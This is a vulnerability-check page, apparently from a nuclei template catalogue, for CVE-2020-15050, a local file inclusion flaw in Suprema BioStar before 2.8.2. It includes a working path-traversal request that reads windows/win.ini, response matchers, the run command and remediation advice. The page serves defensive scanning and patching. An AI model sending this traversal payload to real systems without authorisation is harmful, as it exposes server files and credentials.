Suprema BioStar <2.8.2 - Local File Inclusion

highseverity

7.5CVSS score

50.7%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Suprema BioStar before 2.8.2 Video Extension allows remote attackers can read arbitrary files from the server via local file inclusion.

Impact

An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the server.

Fix

Upgrade Suprema BioStar to version 2.8.2 or later to fix the LFI vulnerability.

How to confirm it

Send: GET {{BaseURL}}/../../../../../../../../../../../../windows/win.ini
Positive when: contains "bit app support" and "fonts" and "extensions"

Run it with nuclei: nuclei -id CVE-2020-15050 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-15050

info:
  name: Suprema BioStar <2.8.2 - Local File Inclusion
  author: gy741
  severity: high
  description: Suprema BioStar before 2.8.2 Video Extension allows remote attackers can read arbitrary files from the server via local file inclusion.
  impact: |
    An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the server.
  remediation: |
    Upgrade Suprema BioStar to version 2.8.2 or later to fix the LFI vulnerability.
  reference:
    - http://packetstormsecurity.com/files/158576/Bio-Star-2.8.2-Local-File-Inclusion.html
    - https://www.supremainc.com/en/support/biostar-2-pakage.asp
    - https://nvd.nist.gov/vuln/detail/CVE-2020-15050
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-15050
    cwe-id: CWE-22
    epss-score: 0.50734
    epss-percentile: 0.98931
    cpe: cpe:2.3:a:supremainc:biostar_2:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: supremainc
    product: biostar_2
  tags: cve,cve2020,suprema,biostar2,packetstorm,lfi,supremainc,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/../../../../../../../../../../../../windows/win.ini"

    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from